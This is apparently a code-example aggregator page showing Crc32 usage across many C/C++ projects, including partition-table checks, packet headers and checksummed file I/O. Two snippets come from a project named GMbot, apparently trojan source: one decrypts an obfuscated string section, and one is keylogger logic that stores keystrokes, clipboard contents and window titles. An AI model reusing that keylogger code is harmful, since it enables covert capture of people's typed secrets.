コード例 #1
0
ファイル: SocketMessage.cpp プロジェクト: pfedick/pplib
void SocketMessage::compilePacketHeader(char *buffer, size_t *buffer_size, const void *payload, size_t payload_size, bool is_compressed) const
{
	if (*buffer_size<24) throw BufferTooSmallException();
	bzero(buffer,24);
	int flags=0;
	if (UseCompression) flags|=2;		// Bit 1: Client supports ZLib
	if (SupportMsgChannel) flags|=4;	// Bit 2: Client supports MsgChannel
	if (is_compressed) flags|=1;
	PokeN8(buffer,'V');							// Byte 0:  "V"							(1 Byte)
	PokeN8(buffer+1,2);							// Byte 1:  Version=2					(1 Byte)
	PokeN16(buffer+2,commandId);				// Byte 2:  CommandId					(2 Byte)
	PokeN32(buffer+4,Id);						// Byte 4:  Id							(4 Byte)
	PokeN32(buffer+8,payload_size);				// Byte 8:  Bytes Nutzdaten				(4 Byte)
	PokeN8(buffer+12,flags);					// Byte 12: Flags						(1 Byte)
	//  											        Bit 0: Zlib-Kompression
	//														Bit 1: Client supports ZLib
	//														Bit 2: Client supports MsgChannel
	PokeN8(buffer+13,payload_type);				// Byte 13: Datatype, PPL_ARRAY, usw.	(1 Byte)
	PokeN16(buffer+14,rand(177,65534));			// Byte 14: Zufallszahl					(2 Byte)
	ppluint32 crc_data=0;
	if (payload_size) crc_data=Crc32(payload,payload_size);
	PokeN32(buffer+16,crc_data);				// Byte 16: CRC-Summe ueber die Daten	(4 Byte)
	PokeN32(buffer+20,Crc32(buffer,20));		// Byte 20: CRC-Summe ueber den Header	(4 Byte)
	*buffer_size=24;
}
コード例 #2
0
ファイル: BTM.c プロジェクト: unitedmne/sim
// include crc data
static void BTM_PackIdlePacket_BtmA(void)
{
    uint32 i = 0;
    uint8 ret = 0U; //临时变量,返回值
    uint32 offset = 0U; //临时变量,地址偏移
    uint32 crcdata = 0;
    ret = VariableToArray_uint8(btmAIdleFrame.frameType, btmAIdleFrameBuf + offset);
    offset += ret;
    ret = VariableToArray_uint8(btmAIdleFrame.frameLen, btmAIdleFrameBuf + offset);
    offset += ret;
    ret = VariableToArray_uint8(btmAIdleFrame.frameSN, btmAIdleFrameBuf + offset);
    offset += ret;
    ret = VariableToArray_uint16(btmAIdleFrame.reserved, btmAIdleFrameBuf + offset);
    offset += ret;
    ret = VariableToArray_uint8(btmAIdleFrame.frameDataSN, btmAIdleFrameBuf + offset);
    offset += ret;
    ret = VariableToArray_uint8(btmAIdleFrame.frameBtmWorkStatus, btmAIdleFrameBuf + offset);

    for (i = 0; i < BTM_IDLE_STAT_PARAM_BUF_SIZE; i++)
    {
        offset += ret;
        ret = VariableToArray_uint8(btmAIdleFrame.frameBtmStatParamBuf[i], btmAIdleFrameBuf + offset);
    }

    for (i = 0; i < BTM_IDLE_BUF_SIZE; i++)
    {
        offset += ret;
        ret = VariableToArray_uint8(btmAIdleFrame.frameIdleBuf[i], btmAIdleFrameBuf + offset);
    }

    // add crc data
    crcdata = Crc32((char *)btmAIdleFrameBuf, (BTM_SEND_FRAME_SIZE - 4));
    offset += ret;
    ret = VariableToArray_uint32(crcdata, btmAIdleFrameBuf + offset);
}
コード例 #3
0
ファイル: cgpt_show.c プロジェクト: ccaapton/vboot_reference
static void HeaderDetails(GptHeader *header, GptEntry *entries,
                          const char *indent, int raw) {
  PrintSignature(indent, header->signature, sizeof(header->signature), raw);

  printf("%sRev: 0x%08x\n", indent, header->revision);
  printf("%sSize: %d\n", indent, header->size);
  printf("%sHeader CRC: 0x%08x %s\n", indent, header->header_crc32,
         (HeaderCrc(header) != header->header_crc32) ? "(INVALID)" : "");
  printf("%sMy LBA: %lld\n", indent, (long long)header->my_lba);
  printf("%sAlternate LBA: %lld\n", indent, (long long)header->alternate_lba);
  printf("%sFirst LBA: %lld\n", indent, (long long)header->first_usable_lba);
  printf("%sLast LBA: %lld\n", indent, (long long)header->last_usable_lba);

  {  /* For disk guid */
    char buf[GUID_STRLEN];
    GuidToStr(&header->disk_uuid, buf, GUID_STRLEN);
    printf("%sDisk UUID: %s\n", indent, buf);
  }

  printf("%sEntries LBA: %lld\n", indent, (long long)header->entries_lba);
  printf("%sNumber of entries: %d\n", indent, header->number_of_entries);
  printf("%sSize of entry: %d\n", indent, header->size_of_entry);
  printf("%sEntries CRC: 0x%08x %s\n", indent, header->entries_crc32,
         header->entries_crc32 !=
             Crc32((const uint8_t *)entries,header->size_of_entry *
                                            header->number_of_entries)
             ? "INVALID" : ""
         );
}
コード例 #4
0
ファイル: bucket_ranges.cpp プロジェクト: 623442733/cef
	uint32 BucketRanges::CalculateChecksum() const {
		// Seed checksum.
		uint32 checksum = static_cast<uint32>(ranges_.size());

		for (size_t index = 0; index < ranges_.size(); ++index)
			checksum = Crc32(checksum, ranges_[index]);
		return checksum;
	}
コード例 #5
0
ファイル: SocketMessage.cpp プロジェクト: pfedick/pplib
void SocketMessage::readFromPacketHeader(const char *msgbuffer, int &flags)
{
	commandId=PeekN16(msgbuffer+2);
	flags=PeekN8(msgbuffer+12);
	payload_type=PeekN8(msgbuffer+13);
	Id=PeekN32(msgbuffer+4);
	payload_size=PeekN32(msgbuffer+8);
	if (Version==1) {
		if (PeekN32(msgbuffer+16)!=Crc32(msgbuffer,16)) throw InvalidPacketException("CRC checksum");
	} else if (PeekN8(msgbuffer)=='V' && PeekN8(msgbuffer+1)==2) {
		//int data_crc=PeekN32(msgbuffer+16);
		if (PeekN32(msgbuffer+20)!=Crc32(msgbuffer,20)) throw InvalidPacketException("CRC checksum");
	}
	if (flags&2) ClientSupportsCompression=true;
	else ClientSupportsCompression=false;

	if (flags&4) SupportMsgChannel=true;
	else SupportMsgChannel=false;

}
コード例 #6
0
void geFilePool::Reader::PreadCRC(void *buffer, size_t size, off64_t offset) {
  Pread(buffer, size, offset);
  size_t data_len = size - sizeof(uint32);
  uint32 computed_crc = Crc32(buffer, data_len);
  uint32 file_crc;
  FromLittleEndianBuffer(&file_crc,
                         reinterpret_cast<char*>(buffer) + data_len);
  if (computed_crc != file_crc) {
    throw khSimpleException("geFilePool::Reader::PreadCRC: CRC mismatch");
  }
}
コード例 #7
0
ファイル: cgptlib_internal.c プロジェクト: latelee/vboot
uint32_t HeaderCrc(GptHeader *h)
{
	uint32_t crc32, original_crc32;

	/* Original CRC is calculated with the CRC field 0. */
	original_crc32 = h->header_crc32;
	h->header_crc32 = 0;
	crc32 = Crc32((const uint8_t *)h, h->size);
	h->header_crc32 = original_crc32;

	return crc32;
}
コード例 #8
0
ファイル: rendermaterial.cpp プロジェクト: Garfield-Chen/tng
	u32 MaterialCatchKey::GetKey()const
	{
		if (keyed_ != 0)
		{
			return keyed_;
		}
		if (mtl_name_.size()&&vertex_factory_!=-1&&pass_!=-1)
		{
			u32 crc = Crc32(0,(u8*)(&vertex_factory_),sizeof(u32));
			crc = Crc32(crc,(u8*)(&pass_),sizeof(u32));
			crc = Crc32(crc,(u8*)(mtl_name_.c_str()),mtl_name_.size());
			keyed_ = crc;
			return crc;
		}
		else
		{
			Log::GetLog()->Printf(Log::ERROR_CHN,"cant get material key before key param set (name:%s,vf:%d,pass:%d)"
				,mtl_name_.c_str(),vertex_factory_,pass_);
			return 0;
		}
		
	}
コード例 #9
0
ファイル: cgptlib_internal.c プロジェクト: latelee/vboot
int CheckEntries(GptEntry *entries, GptHeader *h)
{
	if (!entries)
		return GPT_ERROR_INVALID_ENTRIES;
	GptEntry *entry;
	uint32_t crc32;
	uint32_t i;

	/* Check CRC before examining entries. */
	crc32 = Crc32((const uint8_t *)entries,
		      h->size_of_entry * h->number_of_entries);
	if (crc32 != h->entries_crc32)
		return GPT_ERROR_CRC_CORRUPTED;

	/* Check all entries. */
	for (i = 0, entry = entries; i < h->number_of_entries; i++, entry++) {
		GptEntry *e2;
		uint32_t i2;

		if (IsUnusedEntry(entry))
			continue;

		/* Entry must be in valid region. */
		if ((entry->starting_lba < h->first_usable_lba) ||
		    (entry->ending_lba > h->last_usable_lba) ||
		    (entry->ending_lba < entry->starting_lba))
			return GPT_ERROR_OUT_OF_REGION;

		/* Entry must not overlap other entries. */
		for (i2 = 0, e2 = entries; i2 < h->number_of_entries;
		     i2++, e2++) {
			if (i2 == i || IsUnusedEntry(e2))
				continue;

			if ((entry->starting_lba >= e2->starting_lba) &&
			    (entry->starting_lba <= e2->ending_lba))
				return GPT_ERROR_START_LBA_OVERLAP;
			if ((entry->ending_lba >= e2->starting_lba) &&
			    (entry->ending_lba <= e2->ending_lba))
				return GPT_ERROR_END_LBA_OVERLAP;

			/* UniqueGuid field must be unique. */
			if (0 == Memcmp(&entry->unique, &e2->unique,
					sizeof(Guid)))
				return GPT_ERROR_DUP_GUID;
		}
	}

	/* Success */
	return 0;
}
コード例 #10
0
ChildBucketAddr LoadedChildBucket::Push(EndianWriteBuffer &buf) {
  // write the child bucket addrs
  EndianWriteBuffer::size_type start = buf.CurrPos();
  for (uint i = 0; i < kChildAddrsPerBucket; ++i) {
    if (childAddrs[i]) {
      buf << static_cast<BucketChildSlotType>(i) << childAddrs[i];
    }
  }
  EndianWriteBuffer::size_type end = buf.CurrPos();
  if (end > start) {
    buf << Crc32(&buf[start], end - start);
    end = buf.CurrPos();
  }

  // update the childBucketsSize
  const uint32 childBucketsSize = end - start;


  // write the entry bucket addrs
  start = end;
  for (uint i = 0; i < kChildAddrsPerBucket; ++i) {
    if (entryAddrs[i]) {
      buf << static_cast<BucketEntrySlotType>(i) << entryAddrs[i];
    }
  }
  end = buf.CurrPos();
  if (end > start) {
    buf << Crc32(&buf[start], end - start);
    end = buf.CurrPos();
  }

  // update the childBucketsSize
  const uint32 entryBucketsSize = end - start;

  return ChildBucketAddr(0, childBucketsSize, entryBucketsSize);
}
コード例 #11
0
ファイル: songlengths.cpp プロジェクト: vitamin-caig/zxtune
TimeType GetSongLength(const char* md5digest, uint_t idx)
{
    const uint32_t hashCrc32 = Crc32(safe_ptr_cast<const uint8_t*>(md5digest), 32);
    const SongEntry* const end = std::end(SONGS);
    const SongEntry* const lower = std::lower_bound(SONGS, end, hashCrc32);
    if (lower + idx < end && lower->HashCrc32 == hashCrc32)
    {
        const SongEntry* const entry = lower + idx;
        if (lower->HashCrc32 == entry->HashCrc32)
        {
            return Time::Seconds(entry->Seconds);
        }
    }
    return TimeType();
}
コード例 #12
0
ファイル: cschar.c プロジェクト: 0x00dec0de/GMbot
WINERROR	CsDecryptSection(
	HMODULE	hModule,
	ULONG	Seed
	)
{
	WINERROR Status = NO_ERROR;

#ifdef _CS_ENCRYPT_STRINGS
	PIMAGE_SECTION_HEADER	pSection;
	SECTION_NAME	SecName = {0};

	lstrcpyn((LPTSTR)&SecName.Byte, CS_NEW_SECTION_NAME, sizeof(SECTION_NAME));

	if (pSection = PeSupFindSectionByName((PCHAR)hModule, &SecName))
	{
		if (pSection->VirtualAddress && pSection->SizeOfRawData)
		{
			// Calculating a Key value depending on the section RVA and size
			ULONG	Key = (CsGetKey() ^ (pSection->VirtualAddress + pSection->SizeOfRawData)) + Seed;

			// Decrypting the section
			XorDecryptBuffer((PCHAR)hModule + pSection->VirtualAddress, pSection->SizeOfRawData, Key, TRUE);

			// Calculating g_CsCookie variable from the decrypted data. It has to be equal to CS_COOKIE value or nothing is gonna work.
			g_CsCookie = Crc32(szDataRegSubkey, cstrlenA(szDataRegSubkey));

			// Verifying the decrypted data
			if (g_CsCookie != CS_COOKIE)
			{
				XorEncryptBuffer((PCHAR)hModule + pSection->VirtualAddress, pSection->SizeOfRawData, Key, TRUE);
				Status = ERROR_BADKEY;
			}
		}
		else
			Status = ERROR_BAD_EXE_FORMAT;
	}	// if (pSection = PeSupFindSectionByName((PCHAR)hModule, &SecName))
	else
		Status = ERROR_FILE_NOT_FOUND;
#else	// _CS_ENCRYPT_STRINGS
	g_CsCookie = CS_COOKIE;
#endif

	return(Status);
}
コード例 #13
0
ファイル: cgptlib_internal.c プロジェクト: latelee/vboot
void GptModified(GptData *gpt) {
	GptHeader *header = (GptHeader *)gpt->primary_header;

	/* Update the CRCs */
	header->entries_crc32 = Crc32(gpt->primary_entries,
				      header->size_of_entry *
				      header->number_of_entries);
	header->header_crc32 = HeaderCrc(header);
	gpt->modified |= GPT_MODIFIED_HEADER1 | GPT_MODIFIED_ENTRIES1;

	/*
	 * Use the repair function to update the other copy of the GPT.  This
	 * is a tad inefficient, but is much faster than the disk I/O to update
	 * the GPT on disk so it doesn't matter.
	 */
	gpt->valid_headers = MASK_PRIMARY;
	gpt->valid_entries = MASK_PRIMARY;
	GptRepair(gpt);
}
コード例 #14
0
ファイル: sign.c プロジェクト: mingpen/OpenNT
void
SspGenCheckSum(
    IN  PSecBuffer  pMessage,
    OUT PNTLMSSP_MESSAGE_SIGNATURE  pSig
    )

/*++

RoutineDescription:

    Generate a crc-32 checksum for a buffer

Arguments:

Return Value:

--*/

{
    Crc32(pSig->CheckSum,pMessage->cbBuffer,pMessage->pvBuffer,&pSig->CheckSum);
}
コード例 #15
0
void Command::generateCRC()
{
    int i;
    uint8_t report[REPORT_SIZE+1];
    uint32_t crc=0xffffffff;

    memset(report,0,sizeof(report));

    report[1]=this->commandType;

    memcpy(report+2,this->data,COMMAND_SIZE); // (2+59 = 61 not 60 !!!)

    for (i=0;i<15;i++)
    {
        crc=Crc32(crc,((uint32_t *)(report+1))[i]);
    }

    ((uint32_t *)(report+1))[15]=crc;

    this->crc=crc;
}
コード例 #16
0
ファイル: zlib.c プロジェクト: kalloc/tester
/* compress or decompress from stdin to stdout */
int main(int argc, char **argv)
{
    u_char Plain[]="Some Some Chars";
    int i=0;
    #define CYCLE 1000000
    long long start = 0;
    initCrc32();
    start=rdtsc();
    for(i=0;i<CYCLE;i++) {
	checksum(Plain,sizeof(Plain)-1)+1;
    }
    printf("ts=%lu\n",(rdtsc()-start));
    start=rdtsc();
    for(i=0;i<CYCLE;i++) {
	Crc32(Plain,sizeof(Plain)-1)+1;
    }
    printf("ts=%lu\n",(rdtsc()-start));

    //printf("IN C:\t\t0x%08x\n",checksum(Plain,strlen(Plain)));
    return 0;
}
コード例 #17
0
ファイル: config.cpp プロジェクト: paud/d2x-xl
int CfgLoadHashs (char *pszFilter, char *pszFolder)
{
nDefaultHash = Crc32 (0, (unsigned char *) "m4d1", 4);
if (hashList.nHashs)
	return hashList.nHashs;
if (!CfgCountHashs (pszFilter, pszFolder))
	return 0;
hashList.hashs = (uint *) D2_ALLOC (hashList.nHashs * sizeof (int));

	FFS	ffs;
	char	szTag [FILENAME_LEN];
	int	i = 0;

sprintf (szTag, "%s/%s", pszFolder, pszFilter);
for (i = 0; i ? !FFN (&ffs, 0) : !FFF (szTag, &ffs, 0); i++) {
	ffs.name [4] = '\0';
	strlwr (ffs.name);
	strcompress (ffs.name);
	hashList.hashs [i] = Crc16 (0, (const unsigned char *) &ffs.name [0], 4);
	}
return i;
}
コード例 #18
0
ファイル: BTM.c プロジェクト: unitedmne/sim
// include crc data
static void BTM_PackBalisePacket_BtmA(void)
{
    uint32 i = 0;
    uint8 ret = 0U; //临时变量,返回值
    uint32 offset = 0U; //临时变量,地址偏移
    uint32 crcdata = 0;
    ret = VariableToArray_uint8(btmABaliseFrame.frameType, btmABaliseFrameBuf + offset);
    offset += ret;
    ret = VariableToArray_uint8(btmABaliseFrame.frameLen, btmABaliseFrameBuf + offset);
    offset += ret;
    ret = VariableToArray_uint8(btmABaliseFrame.frameSN, btmABaliseFrameBuf + offset);
    offset += ret;
    ret = VariableToArray_uint16(btmABaliseFrame.frameTimeCounter, btmABaliseFrameBuf + offset);
    offset += ret;
    ret = VariableToArray_uint8(btmABaliseFrame.frameDataSN, btmABaliseFrameBuf + offset);
    offset += ret;
    ret = VariableToArray_uint8(btmABaliseFrame.frameBtmWorkStatus, btmABaliseFrameBuf + offset);

    for (i = 0; i < BTM_MSG_STAT_PARAM_BUF_SIZE; i++)
    {
        offset += ret;
        ret = VariableToArray_uint8(btmABaliseFrame.frameBtmStatParamBuf[i], btmABaliseFrameBuf + offset);
    }

    offset += ret;
    ret = VariableToArray_uint32(btmABaliseFrame.frameBaliseID, btmABaliseFrameBuf + offset);

    for (i = 0; i < BTM_MSG_BALISE_BUF_SIZE; i++)
    {
        offset += ret;
        ret = VariableToArray_uint8(btmABaliseFrame.frameBaliseBuf[i], btmABaliseFrameBuf + offset);
    }

    // add crc data
    crcdata = Crc32((char *)btmABaliseFrameBuf, (BTM_SEND_FRAME_SIZE - 4));
    offset += ret;
    ret = VariableToArray_uint32(crcdata, btmABaliseFrameBuf + offset);
}
コード例 #19
0
ファイル: code_gen.c プロジェクト: Logioniz/os
int main(int argc, char** argv)
{
	unsigned char buffer[30720];
	int read;
	if(argc<2)
	{
		puts("Need args\n");
		return 12;
	}
	FILE * fp = fopen(argv[1],"rb");
	if(fp !=NULL && fseek(fp, 0, SEEK_END) ==0)
	{
		if(ftell(fp)>30720)
		{
			puts("Big file\n");
			return 3;
		}
		rewind(fp);
		FILE *fpo = fopen("boot.asm","wb");
		if(fpo != NULL)
		{
			read=fread(buffer, 1, 30720, fp);
			if(read <=0)
			{
				puts("Cann't read file\n");
				goto AllClose;
			}
			if(fprintf(fpo, asm_code, read, Crc32(buffer,read))<=0)
			{
				puts("Cann't write to file\n");
				goto AllClose;
			}
			for(int i=0;i<read;++i)
				if((i & 15) == 15)
				{
					if(fprintf(fpo,"0x%X\n",buffer[i++])<=0)
					{
						puts("Cann't write to file\n");
						goto AllClose;
					}
					if(i<read)
						if(fprintf(fpo,"db 0x%X, ",buffer[i])<=0)
						{
							puts("Cann't write to file\n");
							goto AllClose;
						}
				}
				else
					if(fprintf(fpo,"0x%X, ",buffer[i])<=0)
					{
						puts("Cann't write to file\n");
						goto AllClose;
					}
			if((read & 15) != 0 )
				if(fprintf(fpo,"0x90\n")<=0) //nop
				{
					puts("Cann't write to file\n");
					goto AllClose;
				}
			if(fprintf(fpo, "db 0")<=0)
			{
				puts("Cann't write to file\n");
				goto AllClose;
			}
			for(int i=0;i<30720-read;++i)
				if(fprintf(fpo,",0")<=0)
				{
					puts("Cann't write to file\n");
					break;
				}
AllClose:
			fclose(fpo);
		}
		fclose(fp);
	}
	return 0;
}
コード例 #20
0
ファイル: keystore.c プロジェクト: 0x00dec0de/GMbot
//
//	Adds a new pressed key information into the key store.
//
WINERROR KeyStoreAdd(
	PKEY_INFO	pKeyInfo
	)
{
	WINERROR		Status = ERROR_NOT_ENOUGH_MEMORY;
	ULONG			KeyHandle;
	PKEY_CONTEXT	Ctx;
	BOOL            bDeref = FALSE;

	KeyHandle = Crc32((PCHAR)&pKeyInfo->Client, sizeof(CLIENT_INFO));
	
	if (Ctx = GetContext(KeyHandle))
	{
		bDeref = Ctx->bDirty;		
		if (Ctx->bDirty == FALSE) // just created
		{
			// Context has just been created, initializing
			HANDLE	hProcess;

			// Resolving process path
			if (hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pKeyInfo->Client.ProcessId))
			{
				GetModuleFileNameExW(hProcess, NULL, (LPWSTR)&Ctx->ProcessPath, MAX_PATH);
				CloseHandle(hProcess);
			}

			Ctx->bActive = TRUE;

			// Saving current date and time
			GetSystemTimeAsFileTime(&Ctx->Time);
			
			// Resolving parent window text
			GetWindowTextW(pKeyInfo->Client.ParentWindow, (LPWSTR)&Ctx->WindowText, MAX_WINDOW_TEXT);
		}	// if (Ctx->bDirty == FALSE) // just created

		Ctx->bDirty = TRUE;

		if (Ctx->bActive)
		{
			if (pKeyInfo->wChar && Ctx->Count < MAX_KEY_BUFFER_SIZE)
			{
				if (pKeyInfo->wChar == VK_BACK)
				{
					if (Ctx->Count)
						Ctx->Count -= 1;
				}
				else
				{
					Ctx->KeyBuffer[Ctx->Count] = pKeyInfo->wChar;
					Ctx->Count += 1;
					DbgPrint("KEYLOG: Adding key to a buffer: 0x%x, %C\n", pKeyInfo->wChar, pKeyInfo->wChar);
				}
				Status = NO_ERROR;
			}	// if (Ctx->Count < MAX_KEY_BUFFER_SIZE)
			else
				Status = ERROR_BUFFER_OVERFLOW;

			if ( pKeyInfo->clipboard )
			{
				PCLIPBOARD_ENTRY Entry = (PCLIPBOARD_ENTRY)AppAlloc( sizeof(CLIPBOARD_ENTRY) );
				if ( Entry )
				{
					// Saving current date and time
					GetSystemTimeAsFileTime(&Entry->Time);
					Entry->Buffer = pKeyInfo->clipboard;
					pKeyInfo->clipboard = NULL; // we'll free it later
					InsertTailList(&Ctx->ClipboardChain,&Entry->qLink);
				}
			}	// if ( pKeyInfo->clipboard )
		}	// if (Ctx->bActive)

		if ( bDeref )
			// Context has been reused, dereferencing it
			ReleaseContext(Ctx);
	}	// if (Ctx = GetContext(KeyHandle))

	return(Status);
}
コード例 #21
0
ファイル: util_crypto.cpp プロジェクト: dxmgame/dxm
dxm_uint32 dxm::util::CCrypto::Crc32( const std::string& content )
{
	return Crc32( content.data(), content.size() );
}
コード例 #22
0
/**
 * Find and return a valid set of note events.
 *
 * We'll use the user's struct if possible, but we will still enforce the
 * 30-second timeout and require at least a second of audible noise within that
 * period. We allocate storage for two reasons: the user's struct will be in
 * flash, which is slow to read, and we may need one extra note at the end to
 * pad out the user's notes to a full 30 seconds. The caller should free it
 * when finished.
 */
static void VbGetDevMusicNotes(VbAudioContext *audio, int use_short)
{
	VbDevMusicNote *notebuf = 0;
	VbDevMusicNote *builtin = 0;
	VbDevMusic *hdr = CUSTOM_MUSIC_NOTES;
	uint32_t maxsize = CUSTOM_MUSIC_MAXSIZE; /* always <= flash size (8M) */
	uint32_t maxnotes, mysum, mylen, i;
	uint32_t this_msecs, on_msecs, total_msecs;
	uint32_t count;

	VBDEBUG(("VbGetDevMusicNotes: use_short is %d, hdr is %lx, "
		 "maxsize is %d\n", use_short, hdr, maxsize));

	if (use_short) {
		builtin = short_notes_;
		count = short_count_;
		goto nope;
	}

	builtin = default_notes_;
	count = default_count_;

	/* If we can't beep in the background, don't allow customization. */
	if (!audio->background_beep)
		goto nope;

	if (!hdr || maxsize < sizeof(VbDevMusic))
		goto nope;

	if (0 != Memcmp(hdr->sig, "$SND", sizeof(hdr->sig))) {
		VBDEBUG(("VbGetDevMusicNotes: bad sig\n"));
		goto nope;
	}

	/*
	 * How many notes will fit in the flash region? One more than you'd
	 * think, because there's one note in the header itself.
	 */
	maxnotes = 1 + (maxsize - sizeof(VbDevMusic)) / sizeof(VbDevMusicNote);
	if (hdr->count == 0 || hdr->count > maxnotes) {
		VBDEBUG(("VbGetDevMusicNotes: count=%d maxnotes=%d\n",
			 hdr->count, maxnotes));
		goto nope;
	}

	/*
	 * CUSTOM_MUSIC_MAXSIZE can't be larger than the size of the flash
	 * (around 8M or so) so this isn't really necessary, but let's be safe
	 * anyway.
	 */
	if ((sizeof(VbDevMusicNote) > UINT_MAX / hdr->count) ||
	    (sizeof(hdr->count) >
	     UINT_MAX - hdr->count * sizeof(VbDevMusicNote))) {
		VBDEBUG(("VbGetDevMusicNotes: count=%d, just isn't right\n"));
		goto nope;
	}

	/* Now we know this won't overflow */
	mylen = (uint32_t)(sizeof(hdr->count) +
			   hdr->count * sizeof(VbDevMusicNote));
	mysum = Crc32(&(hdr->count), mylen);

	if (mysum != hdr->checksum) {
		VBDEBUG(("VbGetDevMusicNotes: mysum=%08x, want=%08x\n",
			 mysum, hdr->checksum));
		goto nope;
	}

	VBDEBUG(("VbGetDevMusicNotes: custom notes struct at %lx\n", hdr));

	/*
	 * Measure the audible sound up to the first 22 seconds, being careful
	 * to avoid rollover. The note time is 16 bits, and the note count is
	 * 32 bits.  The product should fit in 64 bits.
	 */
	total_msecs = 0;
	on_msecs = 0;
	for (i=0; i < hdr->count; i++) {
		this_msecs = hdr->notes[i].msec ;
		if (this_msecs) {
			total_msecs += this_msecs;
			if (total_msecs <= REQUIRED_NOISE_WITHIN &&
			    hdr->notes[i].frequency >= 100 &&
			    hdr->notes[i].frequency <= 2000)
				on_msecs += this_msecs;
		}
	}

	/* We require at least one second of noise in the first 22 seconds */
	VBDEBUG(("VbGetDevMusicNotes:   with %ld msecs of sound to begin\n",
		 on_msecs));
	if (on_msecs < REQUIRED_NOISE_TIME)
		goto nope;

	/*
	 * We'll also require that the total time be less than a minute. No
	 * real reason, it just gives us less to worry about.
	 */
	VBDEBUG(("VbGetDevMusicNotes:   lasting %ld msecs\n", total_msecs));
	if (total_msecs > MAX_CUSTOM_DELAY) {
		goto nope;
	}

	/* One more check, just to be paranoid. */
	if (hdr->count > (UINT_MAX / sizeof(VbDevMusicNote) - 1)) {
		VBDEBUG(("VbGetDevMusicNotes:   they're all out to get me!\n"));
		goto nope;
	}

	/* Looks good. Allocate the space (plus one) and copy it over. */
	notebuf = VbExMalloc((hdr->count + 1) * sizeof(VbDevMusicNote));
	Memcpy(notebuf, hdr->notes, hdr->count * sizeof(VbDevMusicNote));
	count = hdr->count;

	/* We also require at least 30 seconds of delay. */
	if (total_msecs < REQUIRED_TOTAL_DELAY) {
		/*
		 * If the total time is less than 30 seconds, the needed
		 * difference will fit in 16 bits.
		 */
		this_msecs = (REQUIRED_TOTAL_DELAY - total_msecs) & 0xffff;
		notebuf[hdr->count].msec = this_msecs;
		notebuf[hdr->count].frequency = 0;
		count++;
		VBDEBUG(("VbGetDevMusicNotes:   adding %ld msecs of silence\n",
			 this_msecs));
	}

	/* Done */
	audio->music_notes = notebuf;
	audio->note_count = count;
	audio->free_notes_when_done = 1;
	return;

 nope:
	/* No custom notes, use the default. The count is already set. */
	VBDEBUG(("VbGetDevMusicNotes: using %d default notes\n", count));
	audio->music_notes = builtin;
	audio->note_count = count;
	audio->free_notes_when_done = 0;
}
コード例 #23
0
ファイル: SocketMessage.cpp プロジェクト: pfedick/pplib
bool TCPSocket::waitForMessage(SocketMessage &msg, int timeout_seconds, Thread *watch_thread)
/*!\brief Auf Nachricht warten
 *
 * \desc
 *
 * \copydoc PPLSocketMessage
 */
{
	Compression comp(Compression::Algo_ZLIB,Compression::Level_High);
	ByteArray uncompressed;
	comp.usePrefix(Compression::Prefix_V1);
	ppluint64 tt=GetTime()+timeout_seconds;
	char msgbuffer[28];
	void *buffer=NULL;
	int flags;
	while (timeout_seconds==0 || GetTime()<=tt) {
		if (watch_thread) {
			if (watch_thread->threadShouldStop()) {
				return false;
			}
		}
		bzero(msgbuffer,24);
		if (!waitForIncomingData(0,100000)) continue;

		// Datenpaket vorhanden
		if (this->read(msgbuffer,20)!=20) return false;
		msg.Version=PeekN8(msgbuffer+1);
		if (msgbuffer[0]=='V' && msg.Version==2) {
			if (this->read(msgbuffer+20,4)!=4) return false;
		} else if (msgbuffer[0]!='V' || msg.Version!=1) {
			throw SocketMessage::InvalidProtocolVersion();
		}
		msg.clear();
		msg.readFromPacketHeader(msgbuffer, flags);
		if (msg.payload_size) {
			buffer=malloc(msg.payload_size);
			if (!buffer) throw OutOfMemoryException();
			if (this->read(buffer,msg.payload_size)!=msg.payload_size) {
				free(buffer);
				throw SocketMessage::InvalidPacketException("Packet incomplete");
			}
			if (msg.Version>1) {	// CRC prüfen
				if (PeekN32(msgbuffer+16)!=Crc32(buffer,msg.payload_size)) {
					free(buffer);
					throw SocketMessage::InvalidPacketException("CRC checksum of payload");
				}
			}
			if (flags&1) {
				comp.uncompress(uncompressed,buffer,msg.payload_size);
				free(buffer);
				msg.payload_size=uncompressed.size();
				msg.payload=malloc(msg.payload_size);
				if (!msg.payload) throw OutOfMemoryException();
				memcpy(msg.payload,uncompressed.ptr(),msg.payload_size);
			} else {
				msg.payload=buffer;
			}
		}
		return true;
	}
	return false;
}
コード例 #24
0
void geFilePool::Writer::PwriteCRC(void *buffer, size_t size, off64_t offset) {
  size_t data_len = size - sizeof(uint32);
  ToLittleEndianBuffer(static_cast<char*>(buffer) + data_len,
                       Crc32(buffer, data_len));
  Pwrite(buffer, size, offset);
}
コード例 #25
0
void server_connection::login_parser::parse(const std::vector<char>& data)
{
	if (!is_complete_)
	{
		buffer_.insert(buffer_.end(), data.begin(), data.end());
		buffer_all_data_.insert(buffer_all_data_.end(), data.begin(), data.end());

		if (!got_login_len_)
		{
			if (buffer_.size() < login_passwd_crc_len_size)
			{
				return;
			}

			login_len_ = 0x000000FF & buffer_[0];
			login_len_ = login_len_ | (0x0000FF00 & (buffer_[1] << 8));
			login_len_ = login_len_ | (0x00FF0000 & (buffer_[2] << 16));
			login_len_ = login_len_ | (0xFF000000 & (buffer_[3] << 24));

			buffer_.erase(buffer_.begin(), buffer_.begin() + login_passwd_crc_len_size);

			got_login_len_ = true;
		}

		if (!got_login_)
		{
			if (buffer_.size() < login_len_)
			{
				return;
			}

			login_.insert(login_.end(), buffer_.begin(), buffer_.begin() + login_len_);
			buffer_.erase(buffer_.begin(), buffer_.begin() + login_len_);

			got_login_ = true;
		}

		if (!got_passwd_len_)
		{
			if (buffer_.size() < login_passwd_crc_len_size)
			{
				return;
			}

			passwd_len_ = 0x000000FF & buffer_[0];
			passwd_len_ = passwd_len_ | (0x0000FF00 & (buffer_[1] << 8));
			passwd_len_ = passwd_len_ | (0x00FF0000 & (buffer_[2] << 16));
			passwd_len_ = passwd_len_ | (0xFF000000 & (buffer_[3] << 24));

			buffer_.erase(buffer_.begin(), buffer_.begin() + login_passwd_crc_len_size);

			got_passwd_len_ = true;
		}

		if (!got_passwd_)
		{
			if (buffer_.size() < passwd_len_)
			{
				return;
			}

			passwd_.insert(passwd_.end(), buffer_.begin(), buffer_.begin() + passwd_len_);
			buffer_.erase(buffer_.begin(), buffer_.begin() + passwd_len_);

			got_passwd_ = true;
		}

		if (!got_crc_)
		{
			if (buffer_.size() < login_passwd_crc_len_size)
			{
				return;
			}

			crc_ = 0x000000FF & buffer_[0];
			crc_ = crc_ | (0x0000FF00 & (buffer_[1] << 8));
